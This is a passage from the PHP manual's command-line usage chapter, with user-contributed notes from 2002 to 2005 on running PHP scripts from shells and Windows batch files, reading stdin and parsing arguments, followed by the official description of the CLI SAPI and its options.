si.hStdInput  = hStdinRd;

// And finally, create the process
CreateProcess (NULL, "c:\\php\\php-win.exe", NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);

// Close the handles we aren't using
CloseHandle(hStdoutWr);
CloseHandle(hStdinRd);

// Now that we have the process running, we can start pushing PHP at it
WriteFile(hStdinWr, "<?php echo 'test'; ?>", 9, &dwWritten, NULL);

// When we're done writing to stdin, we close that pipe
CloseHandle(hStdinWr);

// Reading from stdout is only slightly more complicated
int i;

std::string processed("");
char buf[128];

while ( (ReadFile(hStdoutRd, buf, 128, &dwRead, NULL) && (dwRead != 0)) ) {
    for (i = 0; i < dwRead; i++)
        processed += buf[i];
}

// Done reading, so close this handle too
CloseHandle(hStdoutRd);

A full implementation (implemented as a C++ class) is available at http://www.stromcode.com
drewish at katherinehouse dot com 25-Sep-2005 12:08
When you're writing one line php scripts remember that 'php://stdin' is your friend. Here's a simple program I use to format PHP code for inclusion on my blog:

UNIX:
  cat test.php | php -r "print htmlentities(file_get_contents('php://stdin'));"

DOS/Windows:
  type test.php | php -r "print htmlentities(file_get_contents('php://stdin'));"
OverFlow636 at gmail dot com 19-Sep-2005 12:27
I needed this, you proly wont tho.
puts the exicution args into $_GET
<?php
if ($argv) {
    foreach ($argv as $k=>$v)
    {
        if ($k==0) continue;
        $it = explode("=",$argv[$i]);
        if (isset($it[1])) $_GET[$it[0]] = $it[1];
    }
}
?>
php at schabdach dot de 16-Sep-2005 09:06
To pass more than 9 arguments to your php-script on Windows, you can use the 'shift'-command in a batch file. After using 'shift', %1 becomes %0, %2 becomes %1 and so on - so you can fetch argument 10 etc.

Here's an example - hopefully ready-to-use - batch file:

foo.bat:
---------
@echo off

:init_arg
set args=

:get_arg
shift
if "%0"=="" goto :finish_arg
set args=%args% %0
goto :get_arg
:finish_arg

set php=C:\path\to\php.exe
set ini=C:\path\to\php.ini
%php% -c %ini% foo.php %args%
---------

Usage on commandline:
foo -1 -2 -3 -4 -5 -6 -7 -8 -9 -foo -bar

A print_r($argv) will give you all of the passed arguments.
docey 14-Jul-2005 05:44
dunno if this is on linux the same but on windows evertime
you send somthing to the console screen php is waiting for
the console to return. therefor if you send a lot of small
short amounts of text, the console is starting to be using
more cpu-cycles then php and thus slowing the script.

take a look at this sheme:
cpu-cycle:1 ->php: print("a");
cpu-cycle:2 ->cmd: output("a");
cpu-cycle:3 ->php: print("b");
cpu-cycle:4 ->cmd: output("b");
cpu-cycle:5 ->php: print("c");
cpu-cycle:6 ->cmd: output("c");
cpu-cylce:7 ->php: print("d");
cpu-cycle:8 ->cmd: output("d");
cpu-cylce:9 ->php: print("e");
cpu-cycle:0 ->cmd: output("e");

on the screen just appears "abcde". but if you write
your script this way it will be far more faster:
cpu-cycle:1 ->php: ob_start();
cpu-cycle:2 ->php: print("abc");
cpu-cycle:3 ->php: print("de");
cpu-cycle:4 ->php: $data = ob_get_contents();
cpu-cycle:5 ->php: ob_end_clean();
cpu-cycle:6 ->php: print($data);
cpu-cycle:7 ->cmd: output("abcde");

now this is just a small example but if you are writing an
app that is outputting a lot to the console, i.e. a text
based screen with frequent updates, then its much better
to first cach all output, and output is as one big chunk of
text instead of one char a the time.

ouput buffering is ideal for this. in my script i outputted
almost 4000chars of info and just by caching it first, it
speeded up by almost 400% and dropped cpu-usage.

because what is being displayed doesn't matter, be it 2
chars or 40.0000 chars, just the call to output takes a
great deal of time. remeber that.

maybe someone can test if this is the same on unix-based
systems. it seems that the STDOUT stream just waits for
the console to report ready, before continueing execution.
wallacebw 24-Jun-2005 08:07
For windows clearing the screen using "system('cls');" does not work (at least for me)...

Although this is not pretty it works... Simply send 24 newlines after the output (for one line of output, 23 for two, etc

Here is a sample function and usage:

<?php
function CLS($lines){  // $lines = number of lines of output to keep
    for($i=24;$i>=$lines;$i--) @$return.="\n";
    return $return;
}

fwrite(STDOUT,"Still Processing: Total Time ".$i." Minutes so far..." . CLS(1));
?>

Hope This Helps,
Wallacebw
linus at flowingcreativity dot net 30-May-2005 07:32
If you are using Windows XP (I think this works on 2000, too) and you want to be able to right-click a .php file and run it from the command line, follow these steps:

1. Run regedit.exe and *back up the registry.*
2. Open HKEY_CLASSES_ROOT and find the ".php" key.

IF IT EXISTS:
------------------
3. Look at the "(Default)" value inside it and find the key in HKEY_CLASSES_ROOT with that name.
4. Open the "shell" key inside that key. Skip to 8.

IF IT DOESN'T:
------------------
5. Add a ".php" key and set the "(Default)" value inside it to something like "phpscriptfile".
6. Create another key in HKEY_CLASSES_ROOT called "phpscriptfile" or whatever you chose.
7. Create a key inside that one called "shell".

8. Create a key inside that one called "run".
9. Set the "(Default)" value inside "run" to whatever you want the menu option to be (e.g. "Run").
10. Create a key inside "run" called "command".
11. Set the "(Default)" value inside "command" to:

cmd.exe /k C:\php\php.exe "%1"

Make sure the path to PHP is appropriate for your installation. Why not just run it with php.exe directly? Because you (presumably) want the console window to remain open after the script ends.

You don't need to set up a webserver for this to work. I downloaded PHP just so I could run scripts on my computer. Hope this is useful!
roberto dot dimas at gmail dot com 26-May-2005 01:52
One of the things I like about perl and vbscripts, is the fact that I can name a file e.g. 'test.pl' and just have to type 'test, without the .pl extension' on the windows command line and the command processor knows that it is a perl file and executes it using the perl command interpreter.

I did the same with the file extension .php3 (I will use php3 exclusivelly for command line php scripts, I'm doing this because my text editor VIM 6.3 already has the correct syntax highlighting for .php3 files ).

I modified the PATHEXT environment variable in Windows XP, from the " 'system' control panel applet->'Advanced' tab->'Environment Variables' button-> 'System variables' text area".

Then from control panel "Folder Options" applet-> 'File Types' tab, I added a new file extention (php3), using the button 'New'  and typing php3 in the window that pops up.

Then in the 'Details for php3 extention' area I used the 'Change' button to look for the Php.exe executable so that the php3 file extentions are associated with the php executable.

You have to modify also the 'PATH' environment variable, pointing to the folder where the php executable is installed

Hope this is useful to somebody
diego dot rodrigues at poli dot usp dot br 02-May-2005 08:29
#!/usr/bin/php -q
<?php
/**********************************************
* Simple argv[] parser for CLI scripts
* Diego Mendes Rodrigues - S�o Paulo - Brazil
* diego.m.rodrigues [at] gmail [dot] com
* May/2005
**********************************************/

class arg_parser {
    var $argc;
    var $argv;
    var $parsed;
    var $force_this;

    function arg_parser($force_this="") {
        global $argc, $argv;
        $this->argc = $argc;
        $this->argv = $argv;
        $this->parsed = array();

        array_push($this->parsed,
                           array($this->argv[0]) );

        if ( !empty($force_this) )
            if ( is_array($force_this) )
                $this->force_this = $force_this;

        //Sending parameters to $parsed
        if ( $this->argc > 1 ) {
            for($i=1 ; $i< $this->argc ; $i++) {
                //We only have passed -xxxx
                if ( substr($this->argv[$i],0,1) == "-" ) {
                    //Se temos -xxxx xxxx
                    if ( $this->argc > ($i+1) ) {
                        if ( substr($this->argv[$i+1],0,1) != "-" ) {
                            array_push($this->parsed,
                                array($this->argv[$i],
                                    $this->argv[$i+1]) );
                            $i++;
                            continue;
                        }
                    }
                }
                //We have passed -xxxxx1 xxxxx2
                array_push($this->parsed,
                                                  array($this->argv[$i]) );
            }
        }

                //Testing if all necessary parameters have been passed
                $this->force();
    }

    //Testing if one parameter have benn passed
    function passed($argumento) {
        for($i=0 ; $i< $this->argc ; $i++)
            if ( $this->parsed[$i][0] == $argumento )
                return $i;
        return 0;
    }

    //Testing if you have passed a estra argument, -xxxx1 xxxxx2
    function full_passed($argumento) {
        $findArg = $this->passed($argumento);
        if ( $findArg )
            if ( count($this->parsed[$findArg] ) > 1 )
                return $findArg;
        return 0;
    }

        //Returns  xxxxx2 at a " -xxxx1 xxxxx2" call
    function get_full_passed($argumento) {
                $findArg = $this->full_passed($argumento);

                if ( $findArg )
                    return $this->parsed[$findArg][1];

                return;
        }

    //Necessary parameters to script
    function force() {
        if ( is_array( $this->force_this ) ) {
            for($i=0 ; $i< count($this->force_this) ; $i++) {
                if ( $this->force_this[$i][1] == "SIMPLE"
                     && !$this->passed($this->force_this[$i][0])
                )
                    die("\n\nMissing " . $this->force_this[$i][0] . "\n\n");

                                if ( $this->force_this[$i][1] == "FULL"
                                     && !$this->full_passed($this->force_this[$i][0])
                )
                                        die("\n\nMissing " . $this->force_this[$i][0] ." <arg>\n\n");
            }
        }
    }
}

//Example
$forcar = array(
        array("-name", "FULL"),
        array("-email","SIMPLE") );

$parser = new arg_parser($forcar);

if ( $parser->passed("-show") )
    echo "\nGoing...:";

echo "\nName: " . $parser->get_full_passed("-name");

if ( $parser->full_passed("-email") )
    echo "\nEmail: " . $parser->get_full_passed("-email");
else
        echo "\nEmail: default";

if ( $parser->full_passed("-copy") )
        echo "\nCopy To: " . $parser->get_full_passed("-copy");

echo "\n\n";
?>

TESTING
=====
[diego@Homer diego]$ ./en_arg_parser.php -name -email cool -copy Ana

Missing -name <arg>

[diego@Homer diego]$ ./en_arg_parser.php -name diego -email cool -copy Ana

Name: diego
Email: cool
Copy To: Ana

[diego@Homer diego]$ ./en_arg_parser.php -name diego -email  -copy Ana

Name: diego
Email: default
Copy To: Ana

[diego@Homer diego]$ ./en_arg_parser.php -name diego -email

Name: diego
Email: default

[diego@Homer diego]$
rh@hdesigndotdemondotcodotuk 25-Apr-2005 01:28
In a bid to save time out of lives when calling up php from the Command Line on Mac OS X.

I just wasted hours on this. Having written a routine which used the MCRYPT library, and tested it via a browser, I then set up a crontab to run the script from the command line every hour (to do automated backups from mysql using mysqldump, encrypt them using mcrypt, then email them and ftp them off to remote locations).

Everything worked fine from the browser, but failed every time from the cron task with "Call to undefined function: mcrypt [whatever]".

Only after much searching do I realise that the CGI and CLI versions are differently compiled, and have different modules attached (I'm using the entropy.ch install for Mac OS-X, php v4.3.2 and mysql v4.0.18).

I still can not find a way to resolve the problem, so I have decided instead to remove the script from the SSL side of the server, and run it using a crontab with CURL to localhost or 127.0.0.1 in order that it will run through Apache's php module.

Just thought this might help some other people tearing their hair out. If anyone knows a quick fix to add the mcrypt module onto the CLI php without any tricky re-installing, it'd be really helpful.

Meantime the workaround does the job, not as neatly though.
merrittd at dhcmc dot com 28-Mar-2005 01:23
Example 43-2 shows how to create a DOS batch file to run a PHP script form the command line using:

@c:\php\cli\php.exe script.php %1 %2 %3 %4

Here is an updated version of the DOS batch file:

@c:\php\cli\php.exe %~n0.php %*

This will run a PHP file (i.e. script.php) with the same base file name (i.e. script) as the DOS batch file (i.e. script.bat) and pass all parameters (not just the first four as in example 43-2) from the DOS batch file to the PHP file.

This way all you have to do is copy/rename the DOS batch file to match the name of your PHP script file without ever having to actually modify the contents of the DOS batch file to match the file name of the PHP script.
bertrand at toggg dot com 07-Mar-2005 08:40
If you want to pass directly PHP code to the interpreter and you don't have only CGI, not the CLI SAPI so you miss the -r option.
If you're lucky enough to be on a nix like system, then tou can still use the pipe solution as the 3. way to command CLI SAPI described above, using a pipe ('|').

Then works for CGI SAPI:

$ echo '<?php echo "coucou\n"; phpinfo(); /* or any code */ ?>' | php

NOTE: unlike commands passed to the -r option, here you NEED the PHP tags.
obfuscated at emailaddress dot com 25-Feb-2005 08:15
This posting is not a php-only problem, but hopefully will save someone a few hours of headaches.  Running on MacOS (although this could happen on any *nix I suppose), I was unable to get the script to execute without specifically envoking php from the command line:

[macg4:valencia/jobs] tim% test.php
./test.php: Command not found.

However, it worked just fine when php was envoked on the command line:

[macg4:valencia/jobs] tim% php test.php
Well, here we are...  Now what?

Was file access mode set for executable?  Yup.

[macg4:valencia/jobs] tim% ls -l
total 16
-rwxr-xr-x  1 tim  staff   242 Feb 24 17:23 test.php

And you did, of course, remember to add the php command as the first line of your script, yeah?  Of course.

#!/usr/bin/php
<?php print "Well, here we are...  Now what?\n"; ?>

So why dudn't it work?  Well, like I said... on a Mac.... but I also occasionally edit the files on my Windows portable (i.e. when I'm travelling and don't have my trusty Mac available)...  Using, say, WordPad on Windows... and BBEdit on the Mac...

Aaahhh... in BBEdit check how the file is being saved!  Mac?  Unix?  or Dos?  Bingo.  It had been saved as Dos format.  Change it to Unix:

[macg4:valencia/jobs] tim% ./test.php
Well, here we are...  Now what?
[macg4:valencia/jobs] tim%

NB: If you're editing your php files on multiple platforms (i.e. Windows and Linux), make sure you double check the files are saved in a Unix format...  those \r's and \n's 'll bite cha!
db at digitalmediacreation dot ch 22-Feb-2005 11:49
A very important point missing here (I lost hours on it and hope to avoid this to you) :

* When using PHP as CGI
* When you just become crazy because of "No input file specified" appearing on the web page, while it never appears directly in the shell

Then I have a solution for you :

1. Create a script for example called cgiwrapper.cgi
2. Put inside :
 #!/bin/sh -
 export SCRIPT_FILENAME=/var/www/realpage.php
 /usr/bin/php -f $SCRIPT_FILENAME
3. Name your page realpage.php

For example with thttpd the problem is that SCRIPT_FILENAME is not defined, while PHP absolutely requires it.
My solution corrects that problem !
ken.gregg at rwre dot com 09-Jan-2005 01:38
If you want to use named command line parameters in your script,
the following code will parse command line parameters in the form
of name=value and place them in the $_REQUEST super global array.

cli_test.php
<?php

echo "argv[] = ";
print_r($argv);  // just to see what was passed in

if ($argc > 0)
{
  for ($i=1;$i < $argc;$i++)
  {
    parse_str($argv[$i],$tmp);
    $_REQUEST = array_merge($_REQUEST, $tmp);
  }
}

echo "\$_REQUEST = ";
print_r($_REQUEST);

?>

rwre:~/tmp$ /usr/local/bin/php cli_test.php foo=1 bar=2 third=a+value

argv[] = Array
(
    [0] => t.php
    [1] => foo=1
    [2] => bar=2
    [3] => third=a+value
)
$_REQUEST = Array
(
    [foo] => 1
    [bar] => 2
    [third] => a value
)
Ben Jenkins 21-Dec-2004 09:23
This took me all day to figure out, so I hope posting it here saves someone some time:
Your PHP-CLI may have a different php.ini than your apache-php.  For example: On my Debian-based system, I discovered I have /etc/php4/apache/php.ini and /etc/php4/cli/php.ini
If you want MySQL support in the CLI, make sure the line
extension=mysql.so
is not commented out.
The differences in php.ini files may also be why some scripts will work when called through a web browser, but will not work when called via the command line.
linn at backendmedia dot com 06-Feb-2004 06:12
For those of you who want the old CGI behaviour that changes to the actual directory of the script use:
chdir(dirname($_SERVER['argv'][0]));

at the beginning of your scripts.
ben at slax0rnet dot com 02-Feb-2004 07:34
Just a note for people trying to use interactive mode from the commandline.

The purpose of interactive mode is to parse code snippits without actually leaving php, and it works like this:

[root@localhost php-4.3.4]# php -a
Interactive mode enabled

<?php echo "hi!"; ?>
<note, here we would press CTRL-D to parse everything we've entered so far>
hi!
<?php exit(); ?>
<ctrl-d here again>
[root@localhost php-4.3.4]#

I noticed this somehow got ommited from the docs, hope it helps someone!
phprsr at mindtwin dot com 05-Aug-2003 09:12
The basic issue was that PHP-as-CGI REALLY REALLY wants SCRIPT_FILENAME.
It ignores the command line. It ignores SCRIPT_NAME.  It wants
SCRIPT_FILENAME.

"No input file specified."

This very informative error message from PHP means that your web server, WHATEVER it is, is not setting SCRIPT_FILENAME.

The minimum set of env variables:

PATH: DOESN'T MATTER if you're spawning php pages with #!/../php in them
LD_LIBRARY_PATH= should be right
SERVER_SOFTWARE=mini_httpd/1.17beta1 26may2002
SERVER_NAME=who cares
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.0
SERVER_PORT=whatever
REQUEST_METHOD=GET
SCRIPT_NAME=/foo.php
SCRIPT_FILENAME=/homes/foobie/mini/foo.php    <--- CRITICAL
QUERY_STRING==PHPE9568F35-D428-11d2-A769-00AA001ACF42
REMOTE_ADDR=172.17.12.80
HTTP_REFERER=http://booky16:10000/foo.php
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322)

If SCRIPT_FILENAME is not set, you'll get the dreaded "No input file specified" message.

mini_httpd does not do this by default. You need to patch it in to make_envp.

A secondary issue is configuration (PHP):

    ./configure --enable-discard-path --with-config-file-path=/homes/wherever/mini/php.ini

    (where php.ini is a slightly modified version of php.ini-recommended)
punk at studionew dot com 19-Jul-2003 04:18
You can use this function to ask user to enter something.

<?php
function read ($length='255')
{
   if (!isset ($GLOBALS['StdinPointer']))
   {
      $GLOBALS['StdinPointer'] = fopen ("php://stdin","r");
   }
   $line = fgets ($GLOBALS['StdinPointer'],$length);
   return trim ($line);
}

// then

echo "Enter your name: ";
$name = read ();
echo "\nHello $name! Where you came from? ";
$where = read ();
echo "\nI see. $where is very good place.";
?>
Adam, php(at)getwebspace.com 17-Jun-2003 04:12
Ok, I've had a heck of a time with PHP > 4.3.x and whether to use CLI vs CGI. The CGI version of 4.3.2 would return (in browser):
---
No input file specified.
---

And the CLI version would return:
---
500 Internal Server Error
---

It appears that in CGI mode, PHP looks at the environment variable PATH_TRANSLATED to determine the script to execute and ignores command line. That is why in the absensce of this environment variable, you get "No input file specified." However, in CLI mode the HTTP headers are not printed. I believe this is intended behavior for both situations but creates a problem when you have a CGI wrapper that sends environment variables but passes the actual script name on the command line.

By modifying my CGI wrapper to create this PATH_TRANSLATED environment variable, it solved my problem, and I was able to run the CGI build of 4.3.2
monte at ispi dot net 04-Jun-2003 03:47
I had a problem with the $argv values getting split up when they contained plus (+) signs. Be sure to use the CLI version, not CGI to get around it.

Monte
Popeye at P-t-B dot com 18-Apr-2003 08:15
In *nix systems, use the WHICH command to show the location of the php binary executable. This is the path to use as the first line in your php shell script file. (#!/path/to/php -q) And execute php from the command line with the -v switch to see what version you are running.

example:

# which php
/usr/local/bin/php
# php -v
PHP 4.3.1 (cli) (built: Mar 27 2003 14:41:51)
Copyright (c) 1997-2002 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2002 Zend Technologies

In the above example, you would use: #!/usr/local/bin/php

Also note that, if you do not have the current/default directory in your PATH (.), you will have to use ./scriptfilename to execute your script file from the command line (or you will receive a "command not found" error). Use the ENV command to show your PATH environment variable value.
volkany at celiknet dot com 20-Feb-2003 01:44
Here goes a very simple clrscr function for newbies...
function clrscr() { system("clear"); }
Alexander Plakidin 14-Feb-2003 05:34
How to change current directory in PHP script to script's directory when running it from command line using PHP 4.3.0?
(you'll probably need to add this to older scripts when running them under PHP 4.3.0 for backwards compatibility)

Here's what I am using:
chdir(preg_replace('/\\/[^\\/]+$/',"",$PHP_SELF));

Note: documentation says that "PHP_SELF" is not available in command-line PHP scripts. Though, it IS available. Probably this will be changed in future version, so don't rely on this line of code...

Use $_SERVER['PHP_SELF'] instead of just $PHP_SELF if you have register_globals=Off
c dot kelly[no--spam] at qfsaustrlia dot com dot au 06-Feb-2003 08:03
In Windows [NT4.0 sp6a] the example
php -r ' echo getcwd();' does not work ; It appears you have to use the following php -r "echo getcwd();" --not the " around the command   to get the output to screen , just took me half an hour to figure out what was going on.
wanna at stay dot anonynous dot com 22-Jan-2003 09:42
TIP: If you want different versions of the configuration file  depending on what SAPI is used,just name them php.ini (apache module), php-cli.ini (CLI) and php-cgi.ini (CGI) and dump them all in the regular configuration directory. I.e no need to compile several versions of php anymore!
phpnotes at ssilk dot de 22-Oct-2002 03:36
To hand over the GET-variables in interactive mode like in HTTP-Mode (e.g. your URI is myprog.html?hugo=bla&bla=hugo), you have to call

php myprog.html '&hugo=bla&bla=hugo'

(two & instead of ? and &!)

There just a little difference in the $ARGC, $ARGV values, but I think this is in those cases not relevant.
justin at visunet dot ie 21-Oct-2002 09:21
If you are trying to set up an interactive command line script and you want to get started straight away (works on 4+ I hope). Here is some code to start you off:

<?php

    // Stop the script giving time out errors..
    set_time_limit(0);

    // This opens standard in ready for interactive input..
    define('STDIN',fopen("php://stdin","r"));

    // Main event loop to capture top level command..
    while(!0)
    {

        // Print out main menu..
        echo "Select an option..\n\n";
        echo "    1) Do this\n";
        echo "    2) Do this\n";
        echo "    3) Do this\n";
        echo "    x) Exit\n";

        // Decide what menu option to select based on input..
        switch(trim(fgets(STDIN,256)))
        {
            case 1:
                break;

            case 2:
                break;

            case 3:
                break;

            case "x":
                exit();

            default:
                break;
        }

    }

    // Close standard in..
    fclose(STDIN);

?>
phpNOSPAM at dogpoop dot cjb dot net 11-Oct-2002 08:28
Here are some instructions on how to make PHP files executable from the command prompt in Win2k.  I have not tested this in any other version of Windows, but I'm assuming it will work in XP, but not 9x/Me.

There is an environment variable (control panel->system->advanced->environment variables) named PATHEXT.  This is a list of file extensions Windows will recognize as executable at the command prompt.  Add .PHP (or .PL, or .CLASS, or whatever) to this list.  Windows will use the default action associated with that file type when you execute it from the command prompt.

To set up the default action:
Open Explorer.
Go to Tools->folder options->file types
Find the extension you're looking for.  If it's not there, click New to add it.
Click on the file type, then on Advanced, then New.
For the action, type "Run" or "Execute" or whatever makes sense.
For the application, type
  {path to application} "%1" %*
The %* will send any command line options that you type to the program.
The application field for PHP might look like
  c:\php\php.exe -f "%1" -- %*
(Note, you'll probably want to use the command line interface version php-cli.exe)
or for Java
  c:\java\java.exe "%1" %*
Click OK.
Click on the action that was just added, then click Set default.

If this helps you or if you have any changes/more information I would appreciate a note.  Just remove NOSPAM from the email address.
jeff at noSpam[] dot genhex dot net 06-Sep-2002 05:13
You can also call the script from the command line after chmod'ing the file (ie: chmod 755 file.php).

On your first line of the file, enter "#!/usr/bin/php" (or to wherever your php executable is located).  If you want to suppress the PHP headers, use the line of "#!/usr/bin/php -q" for your path.
zager[..A..T..]teleaction.de 15-Aug-2002 11:15
Under Solaris (at least 2.6) I have some problems with reading stdin. Original pbms report may be found here:
http://groups.google.com/groups?
q=Re:+%5BPHP%5D+Q+on+php://stdin+--+an+answer!&hl=en&lr=&ie=UTF-
8&oe=UTF-8&selm=3C74AF57.6090704%40Sun.COM&rnum=1

At a first glance the only solution for it is 'fgetcsv'

#!/usr/local/bin/php -q
<?php

set_magic_quotes_runtime(0);
$fd=fopen("php://stdin","r");
if (!$fd)
  exit;

while (!feof ($fd))
{
  $s = fgetcsv($fd,128,"\n");
  if ($s==false)
    continue;

  echo $s[0]."\n";
}
?>

But... keep reading....

>>> I wrote
Hello,
Sometimes I hate PHP... ;)

Right today I was trapped by some strange bug in my code with reading stdin using fgetcsv.
After a not small investigation I found that strings like "foo\nboo\ndoo"goo\n (take note of double quatation sign in it)
interpreted by fgetcsv like:
1->foo\nboo\ndoo
2->goo
since double quotation mark has a special meaning and get stripped off of the input stream.
Indeed, according to PHP manual:
[quote]
array fgetcsv ( int fp, int length [, string delimiter [, string enclosure]])

[skip]
another delimiter with the optional third parameter. _The_enclosure_character_is_double_quote_,_unless_
it_is_specified_.
[skip]
_enclosure_is_added_from_PHP 4.3.0.       !!!!!!
[/quote]

Means no chance for us prior to 4.3.0 :(
But file() works just fine !!!! Of course by the price of memory, so be careful with large files.

set_magic_quotes_runtime(0); // important, do not forget it !!!
$s=file("php://stdin");
for ($i=0,$n=sizeof($s);$i<$n;$i++)
{
  do_something_useful(rtrim($s[$i]));
}

Conclusion:
1. If you have no double quotation mark in your data use fgetcsv
2. From 4.3.0 use   fgetcsv($fd,"\n",""); // I hope it will help
3. If you data is not huge use file("php://stdin");

Hope now it's cleared for 100% (to myself ;)

Good luck!
Dim

PS. Don't forget that it's only Solaris specific problem. Under Linux just use usual fgets()...
jonNO at SPAMjellybob dot co dot uk 03-Aug-2002 09:17
If you want to get the output of a command use the function shell_exec($command) - it returns a string with the output of the command.
ben-php dot net at wefros dot com 13-Jun-2002 03:40
PHP 4.3 and above automatically have STDOUT, STDIN, and STDERR openned ... but < 4.3.0 do not.  This is how you make code that will work in versions previous to PHP 4.3 and future versions without any changes:

<?php
    if (version_compare(phpversion(),'4.3.0','<')) {
        define('STDIN',fopen("php://stdin","r"));
        define('STDOUT',fopen("php://stout","r"));
        define('STDERR',fopen("php://sterr","r"));
        register_shutdown_function( create_function( '' , 'fclose(STDIN); fclose(STDOUT); fclose(STDERR); return true;' ) );
    }

/* get some STDIN up to 256 bytes */
    $str = fgets(STDIN,256);
?>
pyxl at jerrell dot com 18-Feb-2002 11:52
Assuming --prefix=/usr/local/php, it's better to create a symlink from /usr/bin/php or /usr/local/bin/php to target /usr/local/php/bin/php so that it's both in your path and automatically correct every time you rebuild.  If you forgot to do that copy of the binary after a rebuild, you can do all kinds of wild goose chasing when things break.
Functions restricted/disabled by safe mode
Introduction
Features


Introduction

PHP supports a CLI SAPI as of PHP 4.3.0. The main focus of this SAPI is for developing shell applications with PHP. There are quite a few differences between the CLI SAPI and other SAPIs which are explained in this chapter. It is worth mentioning that CLI and CGI are different SAPIs although they do share many of the same behaviors.

The CLI SAPI is enabled by default using --enable-cli , but may be disabled using the --disable-cli option when running ./configure.

The name, location and existence of the CLI/CGI binaries will differ depending on how PHP is installed on your system. By default when executing make, both the CGI and CLI are built and placed as sapi/cgi/php-cgi and sapi/cli/php respectively, in your PHP source directory. You will note that both are named php. What happens during make install depends on your configure line. If a module SAPI is chosen during configure, such as apxs, or the --disable-cgi option is used, the CLI is copied to {PREFIX}/bin/php during make install otherwise the CGI is placed there. So, for example, if --with-apxs is in your configure line then the CLI is copied to {PREFIX}/bin/php during make install. If you want to override the installation of the CGI binary, use make install-cli after make install. Alternatively you can specify --disable-cgi in your configure line.

Note:

Because both --enable-cli and --enable-cgi are enabled by default, simply having --enable-cli in your configure line does not necessarily mean the CLI will be copied as {PREFIX}/bin/php during make install.

As of PHP 5, the CLI binary is distributed in the main folder as php.exe on Windows. The CGI version is distributed as php-cgi.exe. Additionally, a php-win.exe is distributed if PHP is configured using --enable-cli-win32 . This does the same as the CLI version, except that it doesn't output anything and thus provides no console.

Note: What SAPI do I have?

From a shell, typing php -v will tell you whether php is CGI or CLI. See also the function php_sapi_name() and the constant PHP_SAPI.

Note:

A Unix manual page is available by typing man php in the shell environment.

User Contributed Notes

There are no user contributed notes for this page.
Command line usage
Differences to other SAPIs
Command line usage


Differences to other SAPIs

Remarkable differences of the CLI SAPI compared to other SAPIs:

  • Unlike the CGI SAPI, no headers are written to the output.

    Though the CGI SAPI provides a way to suppress HTTP headers, there's no equivalent switch to enable them in the CLI SAPI.

    CLI is started up in quiet mode by default, though the -q and --no-header switches are kept for compatibility so that it is possible to use older CGI scripts.

    It does not change the working directory to that of the script. (-C and --no-chdir switches kept for compatibility)

    Plain text error messages (no HTML formatting).

  • There are certain php.ini directives which are overridden by the CLI SAPI because they do not make sense in shell environments:

    Overridden php.ini directives
    Directive | CLI SAPI default value | Comment
    html_errors | FALSE | Defaults to FALSE, as it can be quite hard to read error messages in the shell enviroment when they are cluttered up with uninterpreted HTML tags.
    implicit_flush | TRUE | In a shell environment, it is usually desirable for output, such as from print(), echo() and friends, to be displayed immediately, and not held in a buffer. Nonetheless, it is still possible to use output buffering to defer or manipulate standard output.
    max_execution_time | 0 (unlimited) | PHP in a shell environment tends to be used for a much more diverse range of purposes than typical Web-based scripts, and as these can be very long-running, the maximum execution time is set to unlimited.
    register_argc_argv TRUE

    Setting this to TRUE means that scripts executed via the CLI SAPI always have access to argc (number of arguments passed to the application) and argv (array of the actual arguments).

    The PHP variables $argc and $argv are automatically set to the appropriate values when using the CLI SAPI. These values can also be found in the $_SERVER array, for example: $_SERVER['argv'].

    output_buffering FALSE

    Although the php.ini setting is hardcoded to FALSE, the Output buffering functions are available.

    max_input_time FALSE

    The PHP CLI doesn't not support GET, POST or file uploads.

    Note:

    These directives cannot be initialized with another value from the configuration file php.ini or a custom one (if specified). This limitation is because the values are applied after all configuration files have been parsed. However, their values can be changed during runtime (although this is not sensible for all of them, such as register_argc_argv).

    Note:

    It is recommended to set ignore_user_abort for command line scripts. See ignore_user_abort() for more information.

  • To ease working in the shell environment, a number of constants are defined for I/O streams .

  • The CLI SAPI does not change the current directory to the directory of the executed script.

    Example #1 Example showing the difference to the CGI SAPI:

    <?php
    // Our simple test application named test.php
    echo getcwd(), "\n";
    ?>

    When using the CGI version, the output is:

    $ pwd
/tmp

$ php -q another_directory/test.php
/tmp/another_directory

    This clearly shows that PHP changes its current directory to the one of the executed script.

    Using the CLI SAPI yields:

    $ pwd
/tmp

$ php -f another_directory/test.php
/tmp

    This allows greater flexibility when writing shell tools in PHP.

    Note:

    The CGI SAPI supports this CLI SAPI behaviour by means of the -C switch when run from the command line.

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Options
Command line usage


Command line options

The list of command line options provided by the PHP binary can be queried at any time by running PHP with the -h switch:

Usage: php [options] [-f] <file> [--] [args...]
       php [options] -r <code> [--] [args...]
       php [options] [-B <begin_code>] -R <code> [-E <end_code>] [--] [args...]
       php [options] [-B <begin_code>] -F <file> [-E <end_code>] [--] [args...]
       php [options] -- [args...]
       php [options] -a

  -a               Run interactively
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse and execute <file>.
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -r <code>        Run PHP <code> without using script tags <?..?>
  -B <begin_code>  Run PHP <begin_code> before processing input lines
  -R <code>        Run PHP <code> for every input line
  -F <file>        Parse and execute <file> for every input line
  -E <end_code>    Run PHP <end_code> after processing all input lines
  -H               Hide any passed arguments from external tools.
  -s               Output HTML syntax highlighted source.
  -v               Version number
  -w               Output source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.

  args...          Arguments passed to script. Use -- args when first argument
                   starts with - or script is read from stdin

  --ini            Show configuration file names

  --rf <name>      Show information about function <name>.
  --rc <name>      Show information about class <name>.
  --re <name>      Show information about extension <name>.
  --rz <name>      Show information about Zend extension <name>.
  --ri <name>      Show configuration for extension <name>.

Command line options
Option | Long Option | Description
-a --interactive

Run PHP interactively. For more information, see the Interactive shell section.

-b --bindpath

Bind Path for external FASTCGI Server mode (CGI only).

-C --no-chdir

Do not chdir to the script's directory (CGI only).

-q --no-header

Quiet-mode. Suppress HTTP header output (CGI only).

-T --timing

Measure execution time of script repeated count times (CGI only).

-c --php-ini

